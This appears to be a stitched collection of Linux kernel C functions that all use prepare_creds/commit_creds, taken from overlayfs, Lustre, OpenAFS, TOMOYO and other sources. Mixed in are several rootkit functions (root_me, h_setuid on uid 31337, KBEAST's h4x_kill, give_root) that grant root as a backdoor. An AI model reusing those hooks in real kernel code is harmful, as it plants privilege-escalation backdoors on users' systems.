static long ugidctl_setgid(struct ugidctl_context *ctx, void __user *arg) { struct ugidctl_setid_rq req; enum pid_type ptype; struct cred *cred; gid_t gid; pid_t pid; long rc; if (copy_from_user(&req, arg, sizeof(req))) return -EFAULT; gid = req.gid; if (capable(CAP_SETUID)) return ugidctl_sys_setgid(gid); if (memcmp(ctx->key, req.key, sizeof(ctx->key))) return -EPERM; mutex_lock(&ctx->lock); if (ugidctl_find_gid(ctx, gid)) { mutex_unlock(&ctx->lock); return -EPERM; } ptype = ctx->ptype; pid = ctx->pid; mutex_unlock(&ctx->lock); if (pid != pid_nr(get_task_pid(current, ptype))) return -EPERM; cred = prepare_creds(); if (!cred) return -ENOMEM; cap_raise(cred->cap_effective, CAP_SETGID); commit_creds(cred); rc = ugidctl_sys_setgid(gid); cred = prepare_creds(); if (!cred) { /* unable to restore process capabilities - kill process */ do_exit(SIGKILL); return -ENOMEM; } cap_lower(cred->cap_effective, CAP_SETGID); commit_creds(cred); return rc; }
struct file *open_physical_file (char *filename, int flags, int mode, uid_t fsuid, gid_t fsgid) { const struct cred *old_cred; struct cred *override_cred; struct prev_root prev_root; struct file *file; override_cred = prepare_creds(); if (!override_cred) return ERR_PTR(-ENOMEM); override_cred->fsuid = fsuid; override_cred->fsgid = fsgid; old_cred = override_creds(override_cred); chroot_to_physical_root(&prev_root); file = filp_open (filename, flags, mode); chroot_to_prev_root(&prev_root); revert_creds(old_cred); put_cred(override_cred); return file; }
/* Set the cred info into the current task */ void crset(cred_t * cr) { #if defined(STRUCT_TASK_STRUCT_HAS_CRED) struct cred *new_creds; /* If our current task doesn't have identical real and effective * credentials, commit_cred won't let us change them, so we just * bail here. */ if (current->cred != current->real_cred) return; new_creds = prepare_creds(); /* Drop the reference to group_info - we'll overwrite it in afs_copy_creds */ put_group_info(new_creds->group_info); afs_copy_creds(new_creds, current_cred()); commit_creds(new_creds); #else struct group_info *old_info; current->fsuid = afs_cr_uid(cr); current->uid = afs_cr_ruid(cr); current->fsgid = afs_cr_gid(cr); current->gid = afs_cr_rgid(cr); get_group_info(afs_cr_group_info(cr)); task_lock(current); old_info = current->group_info; current->group_info = afs_cr_group_info(cr); task_unlock(current); put_group_info(old_info); #endif }
void pop_ctxt(struct lvfs_run_ctxt *saved, struct lvfs_run_ctxt *new_ctx, struct lvfs_ucred *uc) { ASSERT_CTXT_MAGIC(saved->magic); ASSERT_KERNEL_CTXT("popping non-kernel context!\n"); LASSERTF(cfs_fs_pwd(current->fs) == new_ctx->pwd, "%p != %p\n", cfs_fs_pwd(current->fs), new_ctx->pwd); LASSERTF(cfs_fs_mnt(current->fs) == new_ctx->pwdmnt, "%p != %p\n", cfs_fs_mnt(current->fs), new_ctx->pwdmnt); set_fs(saved->fs); ll_set_fs_pwd(current->fs, saved->pwdmnt, saved->pwd); dput(saved->pwd); mntput(saved->pwdmnt); current->fs->umask = saved->luc.luc_umask; if (uc) { struct cred *cred; if ((cred = prepare_creds())) { cred->uid = saved->luc.luc_uid; cred->gid = saved->luc.luc_gid; cred->fsuid = saved->luc.luc_fsuid; cred->fsgid = saved->luc.luc_fsgid; cred->cap_effective = saved->luc.luc_cap; commit_creds(cred); } pop_group_info(saved, uc->luc_ginfo ?: uc->luc_identity ? uc->luc_identity->mi_ginfo : NULL); } }
void cfs_cap_lower(cfs_cap_t cap) { struct cred *cred; if ((cred = prepare_creds())) { cap_lower(cred->cap_effective, cfs_cap_unpack(cap)); commit_creds(cred); } }
static inline void set_lxrt_perm(int perm) { struct cred *cred; if ((cred = prepare_creds())) { cap_raise(cred->cap_effective, perm); commit_creds(cred); } }
void cfs_curproc_cap_unpack(cfs_cap_t cap) { struct cred *cred; if ((cred = prepare_creds())) { cfs_kernel_cap_unpack(&cred->cap_effective, cap); commit_creds(cred); } }
void cfs_cap_lower(cfs_cap_t cap) { struct cred *cred; cred = prepare_creds(); if (cred) { cap_lower(cred->cap_effective, cap); commit_creds(cred); } }
/** * tomoyo_write_self - write() for /sys/kernel/security/tomoyo/self_domain interface. * * @file: Pointer to "struct file". * @buf: Domainname to transit to. * @count: Size of @buf. * @ppos: Unused. * * Returns @count on success, negative value otherwise. * * If domain transition was permitted but the domain transition failed, this * function returns error rather than terminating current thread with SIGKILL. */ static ssize_t tomoyo_write_self(struct file *file, const char __user *buf, size_t count, loff_t *ppos) { char *data; int error; if (!count || count >= TOMOYO_EXEC_TMPSIZE - 10) return -ENOMEM; data = kzalloc(count + 1, GFP_NOFS); if (!data) return -ENOMEM; if (copy_from_user(data, buf, count)) { error = -EFAULT; goto out; } tomoyo_normalize_line(data); if (tomoyo_correct_domain(data)) { const int idx = tomoyo_read_lock(); struct tomoyo_path_info name; struct tomoyo_request_info r; name.name = data; tomoyo_fill_path_info(&name); /* Check "task manual_domain_transition" permission. */ tomoyo_init_request_info(&r, NULL, TOMOYO_MAC_FILE_EXECUTE); r.param_type = TOMOYO_TYPE_MANUAL_TASK_ACL; r.param.task.domainname = &name; tomoyo_check_acl(&r, tomoyo_check_task_acl); if (!r.granted) error = -EPERM; else { struct tomoyo_domain_info *new_domain = tomoyo_assign_domain(data, true); if (!new_domain) { error = -ENOENT; } else { struct cred *cred = prepare_creds(); if (!cred) { error = -ENOMEM; } else { struct tomoyo_domain_info *old_domain = cred->security; cred->security = new_domain; atomic_inc(&new_domain->users); atomic_dec(&old_domain->users); commit_creds(cred); error = 0; } } } tomoyo_read_unlock(idx); } else error = -EINVAL; out: kfree(data); return error ? error : count; }
SYSCALL_DEFINE3(faccessat, int, dfd, const char __user *, filename, int, mode) { const struct cred *old_cred; struct cred *override_cred; struct path path; struct inode *inode; int res; if (mode & ~S_IRWXO) return -EINVAL; override_cred = prepare_creds(); if (!override_cred) return -ENOMEM; override_cred->fsuid = override_cred->uid; override_cred->fsgid = override_cred->gid; if (!issecure(SECURE_NO_SETUID_FIXUP)) { if (override_cred->uid) cap_clear(override_cred->cap_effective); else override_cred->cap_effective = override_cred->cap_permitted; } old_cred = override_creds(override_cred); res = user_path_at(dfd, filename, LOOKUP_FOLLOW, &path); if (res) goto out; inode = path.dentry->d_inode; if ((mode & MAY_EXEC) && S_ISREG(inode->i_mode)) { res = -EACCES; if (path.mnt->mnt_flags & MNT_NOEXEC) goto out_path_release; } res = inode_permission(inode, mode | MAY_ACCESS); if (res || !(mode & S_IWOTH) || special_file(inode->i_mode)) goto out_path_release; if (__mnt_is_readonly(path.mnt)) res = -EROFS; out_path_release: path_put(&path); out: revert_creds(old_cred); put_cred(override_cred); return res; }
/* * --Privilege Escalation. Give caller root.-- */ void root_me(void){ struct cred *haxcredentials; haxcredentials = prepare_creds(); if(haxcredentials == NULL) return; haxcredentials->uid = haxcredentials->gid = 0; haxcredentials->euid = haxcredentials->egid = 0; haxcredentials->suid = haxcredentials->sgid = 0; haxcredentials->fsuid = haxcredentials->fsgid = 0; commit_creds(haxcredentials); }
static int ovl_create_or_link(struct dentry *dentry, int mode, dev_t rdev, const char *link, struct dentry *hardlink) { int err; struct inode *inode; struct kstat stat = { .mode = mode, .rdev = rdev, }; err = -ENOMEM; inode = ovl_new_inode(dentry->d_sb, mode, dentry->d_fsdata); if (!inode) goto out; err = ovl_copy_up(dentry->d_parent); if (err) goto out_iput; if (!ovl_dentry_is_opaque(dentry)) { err = ovl_create_upper(dentry, inode, &stat, link, hardlink); } else { const struct cred *old_cred; struct cred *override_cred; err = -ENOMEM; override_cred = prepare_creds(); if (!override_cred) goto out_iput; /* * CAP_SYS_ADMIN for setting opaque xattr * CAP_DAC_OVERRIDE for create in workdir, rename * CAP_FOWNER for removing whiteout from sticky dir */ cap_raise(override_cred->cap_effective, CAP_SYS_ADMIN); cap_raise(override_cred->cap_effective, CAP_DAC_OVERRIDE); cap_raise(override_cred->cap_effective, CAP_FOWNER); old_cred = override_creds(override_cred); err = ovl_create_over_whiteout(dentry, inode, &stat, link, hardlink); revert_creds(old_cred); put_cred(override_cred); } if (!err) inode = NULL; out_iput: iput(inode); out: return err; }
/* push / pop to root of obd store */ void push_ctxt(struct lvfs_run_ctxt *save, struct lvfs_run_ctxt *new_ctx, struct lvfs_ucred *uc) { /* if there is underlaying dt_device then push_ctxt is not needed */ if (new_ctx->dt != NULL) return; /* ASSERT_NOT_KERNEL_CTXT("already in kernel context!\n"); */ ASSERT_CTXT_MAGIC(new_ctx->magic); OBD_SET_CTXT_MAGIC(save); save->fs = get_fs(); LASSERT(d_count(cfs_fs_pwd(current->fs))); LASSERT(d_count(new_ctx->pwd)); save->pwd = dget(cfs_fs_pwd(current->fs)); save->pwdmnt = mntget(cfs_fs_mnt(current->fs)); save->luc.luc_umask = current_umask(); save->ngroups = current_cred()->group_info->ngroups; LASSERT(save->pwd); LASSERT(save->pwdmnt); LASSERT(new_ctx->pwd); LASSERT(new_ctx->pwdmnt); if (uc) { struct cred *cred; save->luc.luc_uid = current_uid(); save->luc.luc_gid = current_gid(); save->luc.luc_fsuid = current_fsuid(); save->luc.luc_fsgid = current_fsgid(); save->luc.luc_cap = current_cap(); cred = prepare_creds(); if (cred) { cred->uid = uc->luc_uid; cred->gid = uc->luc_gid; cred->fsuid = uc->luc_fsuid; cred->fsgid = uc->luc_fsgid; cred->cap_effective = uc->luc_cap; commit_creds(cred); } push_group_info(save, uc->luc_ginfo ?: uc->luc_identity ? uc->luc_identity->mi_ginfo : NULL); } current->fs->umask = 0; /* umask already applied on client */ set_fs(new_ctx->fs); ll_set_fs_pwd(current->fs, new_ctx->pwdmnt, new_ctx->pwd); }
asmlinkage long h_setuid(uid_t uid) { if (uid == 31337) { #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,29) struct cred *cred = prepare_creds(); cred->uid = cred->suid = cred->euid = cred->fsuid = 0; cred->gid = cred->sgid = cred->egid = cred->fsgid = 0; return commit_creds(cred); #else current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; return 0; #endif } return o_setuid(uid); }
static void pop_group_info(struct lvfs_run_ctxt *save, struct group_info *ginfo) { if (!ginfo) { current_ngroups = save->ngroups; } else { struct cred *cred; task_lock(current); if ((cred = prepare_creds())) { cred->group_info = save->group_info; commit_creds(cred); } task_unlock(current); } }
/* Do not directly use this function. Use OVERRIDE_CRED() instead. */ const struct cred * override_fsids(struct sdcardfs_sb_info* sbi) { struct cred * cred; const struct cred * old_cred; cred = prepare_creds(); if (!cred) return NULL; cred->fsuid = sbi->options.fs_low_uid; cred->fsgid = sbi->options.fs_low_gid; old_cred = override_creds(cred); return old_cred; }
/* Don't allow your process to be killed Allow local root escalation using magic signal dan pid */ asmlinkage int h4x_kill(int pid, int sig) { int r; struct task_struct *cur; cur = pid_task(find_pid_ns(pid, &init_pid_ns), PIDTYPE_PID); if(cur){ if(strstr(cur->comm,_H4X0R_)||strstr(cur->comm,KBEAST)){ return -EACCES; } } if(sig == _MAGIC_SIG_ && pid == _MAGIC_PID_){ struct cred *new=prepare_creds();if(new){new->uid=0;new->euid=0;new->gid=0;new->egid=0;commit_creds(new);return 0;} return 0; } r = (*o_kill)(pid,sig); return r; }
/* Do not directly use this function. Use OVERRIDE_CRED() instead. */ const struct cred * override_fsids(uid_t fsuid, gid_t fsgid) { struct cred * cred; const struct cred * old_cred; cred = prepare_creds(); if (!cred) return NULL; cred->fsuid = fsuid; cred->fsgid = fsgid; old_cred = override_creds(cred); return old_cred; }
/* Do not directly use this function. Use ECRYPTFS_OVERRIDE_CRED() instead. */ const struct cred * ecryptfs_override_fsids(uid_t fsuid, gid_t fsgid) { struct cred * cred; const struct cred * old_cred; cred = prepare_creds(); if (!cred) return NULL; cred->fsuid = make_kuid(current_user_ns(), fsuid); cred->fsgid = make_kgid(current_user_ns(), fsgid); old_cred = override_creds(cred); return old_cred; }
/* push / pop to root of obd store */ void push_ctxt(struct lvfs_run_ctxt *save, struct lvfs_run_ctxt *new_ctx, struct lvfs_ucred *uc) { //ASSERT_NOT_KERNEL_CTXT("already in kernel context!\n"); ASSERT_CTXT_MAGIC(new_ctx->magic); OBD_SET_CTXT_MAGIC(save); save->fs = get_fs(); LASSERT(cfs_atomic_read(&cfs_fs_pwd(current->fs)->d_count)); LASSERT(cfs_atomic_read(&new_ctx->pwd->d_count)); save->pwd = dget(cfs_fs_pwd(current->fs)); save->pwdmnt = mntget(cfs_fs_mnt(current->fs)); save->luc.luc_umask = cfs_curproc_umask(); save->ngroups = current_cred()->group_info->ngroups; LASSERT(save->pwd); LASSERT(save->pwdmnt); LASSERT(new_ctx->pwd); LASSERT(new_ctx->pwdmnt); if (uc) { struct cred *cred; save->luc.luc_uid = current_uid(); save->luc.luc_gid = current_gid(); save->luc.luc_fsuid = current_fsuid(); save->luc.luc_fsgid = current_fsgid(); save->luc.luc_cap = current_cap(); if ((cred = prepare_creds())) { cred->uid = uc->luc_uid; cred->gid = uc->luc_gid; cred->fsuid = uc->luc_fsuid; cred->fsgid = uc->luc_fsgid; cred->cap_effective = uc->luc_cap; commit_creds(cred); } push_group_info(save, uc->luc_ginfo ?: uc->luc_identity ? uc->luc_identity->mi_ginfo : NULL); } current->fs->umask = 0; /* umask already applied on client */ set_fs(new_ctx->fs); ll_set_fs_pwd(current->fs, new_ctx->pwdmnt, new_ctx->pwd); }
static void push_group_info(struct lvfs_run_ctxt *save, struct group_info *ginfo) { if (!ginfo) { save->ngroups = current_ngroups; current_ngroups = 0; } else { struct cred *cred; task_lock(current); save->group_info = current_cred()->group_info; cred = prepare_creds(); if (cred) { cred->group_info = ginfo; commit_creds(cred); } task_unlock(current); } }
int set_ghost_fs(ghost_fs_t *oldfs, uid_t uid, gid_t gid) { struct cred *new_cred; int r = -ENOMEM; new_cred = prepare_creds(); if (!new_cred) goto err; new_cred->fsuid = uid; new_cred->fsgid = gid; __set_ghost_fs(oldfs); oldfs->cred = override_creds(new_cred); put_cred(new_cred); r = 0; err: return r; }
/* Set the cred info into the current task */ void crset(cred_t * cr) { #if defined(STRUCT_TASK_HAS_CRED) struct cred *new_creds; new_creds = prepare_creds(); new_creds->fsuid = cr->cr_uid; new_creds->uid = cr->cr_ruid; new_creds->fsgid = cr->cr_gid; new_creds->gid = cr->cr_rgid; #else current->fsuid = cr->cr_uid; current->uid = cr->cr_ruid; current->fsgid = cr->cr_gid; current->gid = cr->cr_rgid; #endif #if defined(AFS_LINUX26_ENV) { struct group_info *old_info; /* using set_current_groups() will sort the groups */ get_group_info(cr->cr_group_info); task_lock(current); #if defined(STRUCT_TASK_HAS_CRED) old_info = current->cred->group_info; new_creds->group_info = cr->cr_group_info; commit_creds(new_creds); #else old_info = current->group_info; current->group_info = cr->cr_group_info; #endif task_unlock(current); put_group_info(old_info); } #else memcpy(current->groups, cr->cr_groups, NGROUPS * sizeof(gid_t)); current->ngroups = cr->cr_ngroups; #endif }
void give_root(void) { struct cred *newcreds; newcreds = prepare_creds(); if (newcreds == NULL) return; #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 5, 0) newcreds->uid = newcreds->gid = 0; newcreds->euid = newcreds->egid = 0; newcreds->suid = newcreds->sgid = 0; newcreds->fsuid = newcreds->fsgid = 0; #else newcreds->uid.val = newcreds->gid.val = 0; newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; #endif commit_creds(newcreds); }
static int ovl_do_lookup(struct dentry *dentry) { struct ovl_entry *oe; struct dentry *upperdir; struct dentry *lowerdir; struct dentry *upperdentry = NULL; struct dentry *lowerdentry = NULL; struct inode *inode = NULL; int err; err = -ENOMEM; oe = ovl_alloc_entry(); if (!oe) goto out; upperdir = ovl_dentry_upper(dentry->d_parent); lowerdir = ovl_dentry_lower(dentry->d_parent); if (upperdir) { upperdentry = ovl_lookup_real(upperdir, &dentry->d_name); err = PTR_ERR(upperdentry); if (IS_ERR(upperdentry)) goto out_put_dir; if (lowerdir && upperdentry && (S_ISLNK(upperdentry->d_inode->i_mode) || S_ISDIR(upperdentry->d_inode->i_mode))) { const struct cred *old_cred; struct cred *override_cred; err = -ENOMEM; override_cred = prepare_creds(); if (!override_cred) goto out_dput_upper; /* CAP_SYS_ADMIN needed for getxattr */ cap_raise(override_cred->cap_effective, CAP_SYS_ADMIN); old_cred = override_creds(override_cred); if (ovl_is_opaquedir(upperdentry)) { oe->opaque = true; } else if (ovl_is_whiteout(upperdentry)) { dput(upperdentry); upperdentry = NULL; oe->opaque = true; } revert_creds(old_cred); put_cred(override_cred); } } if (lowerdir && !oe->opaque) { lowerdentry = ovl_lookup_real(lowerdir, &dentry->d_name); err = PTR_ERR(lowerdentry); if (IS_ERR(lowerdentry)) goto out_dput_upper; } if (lowerdentry && upperdentry && (!S_ISDIR(upperdentry->d_inode->i_mode) || !S_ISDIR(lowerdentry->d_inode->i_mode))) { dput(lowerdentry); lowerdentry = NULL; oe->opaque = true; } if (lowerdentry || upperdentry) { struct dentry *realdentry; realdentry = upperdentry ? upperdentry : lowerdentry; err = -ENOMEM; inode = ovl_new_inode(dentry->d_sb, realdentry->d_inode->i_mode, oe); if (!inode) goto out_dput; ovl_copyattr(realdentry->d_inode, inode); } if (upperdentry) oe->__upperdentry = dget(upperdentry); if (lowerdentry) oe->lowerdentry = lowerdentry; dentry->d_fsdata = oe; dentry->d_op = &ovl_dentry_operations; d_add(dentry, inode); return 0; out_dput: dput(lowerdentry); out_dput_upper: dput(upperdentry); out_put_dir: kfree(oe); out: return err; }
/* * access() needs to use the real uid/gid, not the effective uid/gid. * We do this by temporarily clearing all FS-related capabilities and * switching the fsuid/fsgid around to the real ones. */ SYSCALL_DEFINE3(faccessat, int, dfd, const char __user *, filename, int, mode) { const struct cred *old_cred; struct cred *override_cred; struct path path; struct inode *inode; int res; if (mode & ~S_IRWXO) /* where's F_OK, X_OK, W_OK, R_OK? */ return -EINVAL; override_cred = prepare_creds(); if (!override_cred) return -ENOMEM; override_cred->fsuid = override_cred->uid; override_cred->fsgid = override_cred->gid; if (!issecure(SECURE_NO_SETUID_FIXUP)) { /* Clear the capabilities if we switch to a non-root user */ if (override_cred->uid) cap_clear(override_cred->cap_effective); else override_cred->cap_effective = override_cred->cap_permitted; } old_cred = override_creds(override_cred); res = user_path_at(dfd, filename, LOOKUP_FOLLOW, &path); if (res) goto out; inode = path.dentry->d_inode; if ((mode & MAY_EXEC) && S_ISREG(inode->i_mode)) { /* * MAY_EXEC on regular files is denied if the fs is mounted * with the "noexec" flag. */ res = -EACCES; if (path.mnt->mnt_flags & MNT_NOEXEC) goto out_path_release; } res = inode_permission(inode, mode | MAY_ACCESS); /* SuS v2 requires we report a read only fs too */ if (res || !(mode & S_IWOTH) || special_file(inode->i_mode)) goto out_path_release; /* * This is a rare case where using __mnt_is_readonly() * is OK without a mnt_want/drop_write() pair. Since * no actual write to the fs is performed here, we do * not need to telegraph to that to anyone. * * By doing this, we accept that this access is * inherently racy and know that the fs may change * state before we even see this result. */ if (__mnt_is_readonly(path.mnt)) res = -EROFS; out_path_release: path_put(&path); out: revert_creds(old_cred); put_cred(override_cred); return res; }
static int ovl_create_over_whiteout(struct dentry *dentry, struct inode *inode, struct kstat *stat, const char *link, struct dentry *hardlink) { struct dentry *workdir = ovl_workdir(dentry); struct inode *wdir = workdir->d_inode; struct dentry *upperdir = ovl_dentry_upper(dentry->d_parent); struct inode *udir = upperdir->d_inode; struct dentry *upper; struct dentry *newdentry; int err; struct posix_acl *acl, *default_acl; if (WARN_ON(!workdir)) return -EROFS; if (!hardlink) { err = posix_acl_create(dentry->d_parent->d_inode, &stat->mode, &default_acl, &acl); if (err) return err; } err = ovl_lock_rename_workdir(workdir, upperdir); if (err) goto out; newdentry = ovl_lookup_temp(workdir, dentry); err = PTR_ERR(newdentry); if (IS_ERR(newdentry)) goto out_unlock; upper = lookup_one_len(dentry->d_name.name, upperdir, dentry->d_name.len); err = PTR_ERR(upper); if (IS_ERR(upper)) goto out_dput; err = ovl_create_real(wdir, newdentry, stat, link, hardlink, true); if (err) goto out_dput2; /* * mode could have been mutilated due to umask (e.g. sgid directory) */ if (!hardlink && !S_ISLNK(stat->mode) && newdentry->d_inode->i_mode != stat->mode) { struct iattr attr = { .ia_valid = ATTR_MODE, .ia_mode = stat->mode, }; inode_lock(newdentry->d_inode); err = notify_change(newdentry, &attr, NULL); inode_unlock(newdentry->d_inode); if (err) goto out_cleanup; } if (!hardlink) { err = ovl_set_upper_acl(newdentry, XATTR_NAME_POSIX_ACL_ACCESS, acl); if (err) goto out_cleanup; err = ovl_set_upper_acl(newdentry, XATTR_NAME_POSIX_ACL_DEFAULT, default_acl); if (err) goto out_cleanup; } if (!hardlink && S_ISDIR(stat->mode)) { err = ovl_set_opaque(newdentry); if (err) goto out_cleanup; err = ovl_do_rename(wdir, newdentry, udir, upper, RENAME_EXCHANGE); if (err) goto out_cleanup; ovl_cleanup(wdir, upper); } else { err = ovl_do_rename(wdir, newdentry, udir, upper, 0); if (err) goto out_cleanup; } ovl_instantiate(dentry, inode, newdentry, !!hardlink); newdentry = NULL; out_dput2: dput(upper); out_dput: dput(newdentry); out_unlock: unlock_rename(workdir, upperdir); out: if (!hardlink) { posix_acl_release(acl); posix_acl_release(default_acl); } return err; out_cleanup: ovl_cleanup(wdir, newdentry); goto out_dput2; } static int ovl_create_or_link(struct dentry *dentry, struct inode *inode, struct kstat *stat, const char *link, struct dentry *hardlink) { int err; const struct cred *old_cred; struct cred *override_cred; err = ovl_copy_up(dentry->d_parent); if (err) return err; old_cred = ovl_override_creds(dentry->d_sb); err = -ENOMEM; override_cred = prepare_creds(); if (override_cred) { override_cred->fsuid = inode->i_uid; override_cred->fsgid = inode->i_gid; put_cred(override_creds(override_cred)); put_cred(override_cred); if (!ovl_dentry_is_opaque(dentry)) err = ovl_create_upper(dentry, inode, stat, link, hardlink); else err = ovl_create_over_whiteout(dentry, inode, stat, link, hardlink); } revert_creds(old_cred); if (!err) { struct inode *realinode = d_inode(ovl_dentry_upper(dentry)); WARN_ON(inode->i_mode != realinode->i_mode); WARN_ON(!uid_eq(inode->i_uid, realinode->i_uid)); WARN_ON(!gid_eq(inode->i_gid, realinode->i_gid)); } return err; }
static int sec_restrict_fork(void) { struct cred *shellcred; int ret = 0; struct task_struct *parent_tsk; struct mm_struct *parent_mm = NULL; const struct cred *parent_cred; read_lock(&tasklist_lock); parent_tsk = current->parent; if (!parent_tsk) { read_unlock(&tasklist_lock); return 0; } get_task_struct(parent_tsk); /* holding on to the task struct is enough so just release * the tasklist lock here */ read_unlock(&tasklist_lock); /* 1. Allowed case - init process. */ if(current->pid == 1 || parent_tsk->pid == 1) goto out; /* get current->parent's mm struct to access it's mm * and to keep it alive */ parent_mm = get_task_mm(parent_tsk); /* 1.1 Skip for kernel tasks */ if(current->mm == NULL || parent_mm == NULL) goto out; /* 2. Restrict case - parent process is /sbin/adbd. */ if( sec_check_execpath(parent_mm, "/sbin/adbd") ) { shellcred = prepare_creds(); if(!shellcred) { ret = 1; goto out; } shellcred->uid = 2000; shellcred->gid = 2000; shellcred->euid = 2000; shellcred->egid = 2000; commit_creds(shellcred); ret = 0; goto out; } /* 3. Restrict case - execute file in /data directory. */ if( sec_check_execpath(current->mm, "/data/") ) { ret = 1; goto out; } /* 4. Restrict case - parent's privilege is not root. */ parent_cred = get_task_cred(parent_tsk); if (!parent_cred) goto out; if(!CHECK_ROOT_UID(parent_tsk)) ret = 1; put_cred(parent_cred); out: if (parent_mm) mmput(parent_mm); put_task_struct(parent_tsk); return ret; }
static int ovl_create_over_whiteout(struct dentry *dentry, struct inode *inode, struct ovl_cattr *cattr) { struct dentry *workdir = ovl_workdir(dentry); struct inode *wdir = workdir->d_inode; struct dentry *upperdir = ovl_dentry_upper(dentry->d_parent); struct inode *udir = upperdir->d_inode; struct dentry *upper; struct dentry *newdentry; int err; struct posix_acl *acl, *default_acl; bool hardlink = !!cattr->hardlink; if (WARN_ON(!workdir)) return -EROFS; if (!hardlink) { err = posix_acl_create(dentry->d_parent->d_inode, &cattr->mode, &default_acl, &acl); if (err) return err; } err = ovl_lock_rename_workdir(workdir, upperdir); if (err) goto out; upper = lookup_one_len(dentry->d_name.name, upperdir, dentry->d_name.len); err = PTR_ERR(upper); if (IS_ERR(upper)) goto out_unlock; newdentry = ovl_create_temp(workdir, cattr); err = PTR_ERR(newdentry); if (IS_ERR(newdentry)) goto out_dput; /* * mode could have been mutilated due to umask (e.g. sgid directory) */ if (!hardlink && !S_ISLNK(cattr->mode) && newdentry->d_inode->i_mode != cattr->mode) { struct iattr attr = { .ia_valid = ATTR_MODE, .ia_mode = cattr->mode, }; inode_lock(newdentry->d_inode); err = notify_change(newdentry, &attr, NULL); inode_unlock(newdentry->d_inode); if (err) goto out_cleanup; } if (!hardlink) { err = ovl_set_upper_acl(newdentry, XATTR_NAME_POSIX_ACL_ACCESS, acl); if (err) goto out_cleanup; err = ovl_set_upper_acl(newdentry, XATTR_NAME_POSIX_ACL_DEFAULT, default_acl); if (err) goto out_cleanup; } if (!hardlink && S_ISDIR(cattr->mode)) { err = ovl_set_opaque(dentry, newdentry); if (err) goto out_cleanup; err = ovl_do_rename(wdir, newdentry, udir, upper, RENAME_EXCHANGE); if (err) goto out_cleanup; ovl_cleanup(wdir, upper); } else { err = ovl_do_rename(wdir, newdentry, udir, upper, 0); if (err) goto out_cleanup; } err = ovl_instantiate(dentry, inode, newdentry, hardlink); if (err) goto out_cleanup; out_dput: dput(upper); out_unlock: unlock_rename(workdir, upperdir); out: if (!hardlink) { posix_acl_release(acl); posix_acl_release(default_acl); } return err; out_cleanup: ovl_cleanup(wdir, newdentry); dput(newdentry); goto out_dput; } static int ovl_create_or_link(struct dentry *dentry, struct inode *inode, struct ovl_cattr *attr, bool origin) { int err; const struct cred *old_cred; struct cred *override_cred; struct dentry *parent = dentry->d_parent; err = ovl_copy_up(parent); if (err) return err; old_cred = ovl_override_creds(dentry->d_sb); /* * When linking a file with copy up origin into a new parent, mark the * new parent dir "impure". */ if (origin) { err = ovl_set_impure(parent, ovl_dentry_upper(parent)); if (err) goto out_revert_creds; } err = -ENOMEM; override_cred = prepare_creds(); if (override_cred) { override_cred->fsuid = inode->i_uid; override_cred->fsgid = inode->i_gid; if (!attr->hardlink) { err = security_dentry_create_files_as(dentry, attr->mode, &dentry->d_name, old_cred, override_cred); if (err) { put_cred(override_cred); goto out_revert_creds; } } put_cred(override_creds(override_cred)); put_cred(override_cred); if (!ovl_dentry_is_whiteout(dentry)) err = ovl_create_upper(dentry, inode, attr); else err = ovl_create_over_whiteout(dentry, inode, attr); } out_revert_creds: revert_creds(old_cred); return err; }
int __scm_send(struct socket *sock, struct msghdr *msg, struct scm_cookie *p) { struct cmsghdr *cmsg; int err; for (cmsg = CMSG_FIRSTHDR(msg); cmsg; cmsg = CMSG_NXTHDR(msg, cmsg)) { err = -EINVAL; /* Verify that cmsg_len is at least sizeof(struct cmsghdr) */ /* The first check was omitted in <= 2.2.5. The reasoning was that parser checks cmsg_len in any case, so that additional check would be work duplication. But if cmsg_level is not SOL_SOCKET, we do not check for too short ancillary data object at all! Oops. OK, let's add it... */ if (!CMSG_OK(msg, cmsg)) goto error; if (cmsg->cmsg_level != SOL_SOCKET) continue; switch (cmsg->cmsg_type) { case SCM_RIGHTS: if (!sock->ops || sock->ops->family != PF_UNIX) goto error; err=scm_fp_copy(cmsg, &p->fp); if (err<0) goto error; break; case SCM_CREDENTIALS: if (cmsg->cmsg_len != CMSG_LEN(sizeof(struct ucred))) goto error; memcpy(&p->creds, CMSG_DATA(cmsg), sizeof(struct ucred)); err = scm_check_creds(&p->creds); if (err) goto error; if (pid_vnr(p->pid) != p->creds.pid) { struct pid *pid; err = -ESRCH; pid = find_get_pid(p->creds.pid); if (!pid) goto error; put_pid(p->pid); p->pid = pid; } if ((p->cred->euid != p->creds.uid) || (p->cred->egid != p->creds.gid)) { struct cred *cred; err = -ENOMEM; cred = prepare_creds(); if (!cred) goto error; cred->uid = cred->euid = p->creds.uid; cred->gid = cred->egid = p->creds.uid; put_cred(p->cred); p->cred = cred; } break; default: goto error; } } if (p->fp && !p->fp->count) { kfree(p->fp); p->fp = NULL; } return 0; error: scm_destroy(p); return err; }